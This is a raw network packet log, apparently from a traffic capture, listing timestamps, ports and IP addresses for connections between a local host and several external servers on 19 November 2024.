Nov 19, 2024 18:00:27.290635109 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.296487093 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.296544075 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.296550989 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.301964045 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.302025080 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.302031040 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.307351112 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.307432890 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.307436943 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.307460070 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.307518005 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.312834024 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.318181992 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.318232059 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.318238974 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.323544979 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.323605061 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.323611975 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.323693037 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.323967934 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.323976040 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.328939915 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.329092979 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.329099894 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.334170103 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.334233046 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.334239006 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.339415073 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.339466095 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.339468956 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.339477062 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.339517117 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.344345093 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.348903894 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.348953009 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.349005938 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.349014997 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.349069118 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.356194019 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.357867002 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.357944012 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.357966900 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.357978106 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.358036041 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.362046003 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.366122961 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.366183043 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.366192102 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.369865894 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.369930983 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.369939089 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.373835087 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.373898983 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.373904943 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.377638102 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.377690077 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.377696037 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.381629944 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.381685972 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.381691933 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.382277966 CET	443	49712	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.382833004 CET	443	49712	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.382906914 CET	49712	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.383918047 CET	49712	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.383932114 CET	443	49712	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.385515928 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.385591030 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.385597944 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.385621071 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.385706902 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.387723923 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.390081882 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.390139103 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.390145063 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.392301083 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.392349005 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.392355919 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.394851923 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.394933939 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.395004988 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.395014048 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.395061970 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.397173882 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.399553061 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.399610996 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.399617910 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.402255058 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.402297974 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.402304888 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.404675961 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.404731035 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.404737949 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.405050039 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:27.405150890 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.405983925 CET	49711	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:27.406003952 CET	443	49711	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:28.775278091 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:28.775352001 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:28.775423050 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:28.775568008 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:28.775599957 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:28.885484934 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:28.889269114 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:29.411631107 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.411963940 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.411998987 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.413671970 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.413754940 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.414923906 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.415021896 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.415164948 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.415182114 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.467181921 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.676538944 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.676681995 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.676750898 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.676791906 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.676888943 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.676948071 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.676963091 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.677042961 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.677098989 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.677113056 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.682631016 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.682703018 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.682718039 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.688880920 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.688951015 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.688963890 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.695234060 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.695303917 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.695322990 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.747113943 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.763150930 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.765630960 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.765723944 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.765732050 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.765754938 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.765805006 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.771925926 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.778312922 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.778378963 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.778393984 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.784499884 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.784567118 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.784579039 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.784609079 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.784677982 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.790767908 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.796999931 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.797082901 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.797091007 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.797117949 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.797177076 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.802892923 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.808804989 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.808873892 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.808886051 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.811573982 CET	49724	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:29.811604023 CET	443	49724	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:29.811686039 CET	49724	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:29.811837912 CET	49724	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:29.811866045 CET	443	49724	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:29.814843893 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.814904928 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.814918995 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.820609093 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.820673943 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.820688963 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.826642036 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.826700926 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.826714039 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.832578897 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.832648039 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.832660913 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.849929094 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.850002050 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.850044012 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.850111961 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.850182056 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.851255894 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.856139898 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.856205940 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.856223106 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.860415936 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.860487938 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.860502958 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.864886999 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.864960909 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.864974976 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.865062952 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.865122080 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.865135908 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.869143009 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.869216919 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.869230986 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.873817921 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.873883009 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.873897076 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.877860069 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.877923012 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.877935886 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.882160902 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.882225990 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.882239103 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.886518002 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.886585951 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.886600018 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.890996933 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.891060114 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.891073942 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.895345926 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.895416021 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.895428896 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.901022911 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.901099920 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.901123047 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.904202938 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.904269934 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.904284000 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.908371925 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.908453941 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.908468008 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.912682056 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.912750006 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.912761927 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.917212009 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.917278051 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.917289972 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.921427011 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.921505928 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.921519041 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.925317049 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.925385952 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.925399065 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.929476023 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.929562092 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.929574966 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.933275938 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.933346033 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.933358908 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.937227011 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.937294960 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.937308073 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.940913916 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.941029072 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.941042900 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.944775105 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.944839954 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.944854021 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.945081949 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:29.945143938 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.945244074 CET	49720	443	192.168.2.8	142.250.186.78
Nov 19, 2024 18:00:29.945271969 CET	443	49720	142.250.186.78	192.168.2.8
Nov 19, 2024 18:00:30.102227926 CET	49725	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:30.102261066 CET	443	49725	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:30.102332115 CET	49725	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:30.104020119 CET	49725	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:30.104032040 CET	443	49725	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.355492115 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:31.355870962 CET	49728	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:31.386142015 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:31.386156082 CET	80	49728	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:31.386240959 CET	49728	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:31.387002945 CET	443	49724	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:31.387267113 CET	49728	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:31.387362957 CET	49724	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:31.387387037 CET	443	49724	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:31.387866020 CET	443	49724	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:31.388468981 CET	49724	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:31.388569117 CET	443	49724	142.250.186.164	192.168.2.8
Nov 19, 2024 18:00:31.392935038 CET	80	49728	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:31.395232916 CET	443	49725	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.395337105 CET	49725	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:31.399625063 CET	49725	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:31.399646997 CET	443	49725	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.399964094 CET	443	49725	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.436369896 CET	49724	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:31.452130079 CET	49725	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:31.503088951 CET	49725	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:31.543370962 CET	443	49725	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.720241070 CET	443	49725	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.720397949 CET	443	49725	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.720478058 CET	49725	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:31.720510006 CET	49725	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:31.720510006 CET	49725	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:31.720529079 CET	443	49725	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.720549107 CET	443	49725	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.773550987 CET	49729	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:31.773567915 CET	443	49729	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.773657084 CET	49729	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:31.777605057 CET	49729	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:31.777617931 CET	443	49729	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:31.794229031 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:31.794239044 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:31.794436932 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:31.796991110 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:31.797003031 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:32.466769934 CET	443	49729	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:32.466994047 CET	49729	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:32.468322992 CET	49729	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:32.468327999 CET	443	49729	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:32.468651056 CET	443	49729	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:32.470207930 CET	49729	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:32.511343002 CET	443	49729	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:32.584443092 CET	80	49728	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:32.584527969 CET	49728	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:32.593755960 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:32.593873978 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:32.596591949 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:32.596597910 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:32.597106934 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:32.638886929 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:32.753801107 CET	49728	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:32.758692026 CET	80	49728	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:32.790971041 CET	49724	443	192.168.2.8	142.250.186.164
Nov 19, 2024 18:00:32.795757055 CET	443	49729	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:32.795839071 CET	443	49729	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:32.795911074 CET	49729	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:32.801842928 CET	49729	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:32.801850080 CET	443	49729	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:32.801985025 CET	49729	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:00:32.801990032 CET	443	49729	184.28.90.27	192.168.2.8
Nov 19, 2024 18:00:33.465456009 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:33.467468977 CET	80	49728	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:33.467545033 CET	49728	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:33.507344961 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:33.723884106 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:33.723951101 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:33.723973036 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:33.724014044 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:33.724050045 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:33.724091053 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:33.724091053 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:33.724106073 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:33.724149942 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:33.724149942 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:33.724380016 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:33.724488020 CET	49730	443	192.168.2.8	4.175.87.197
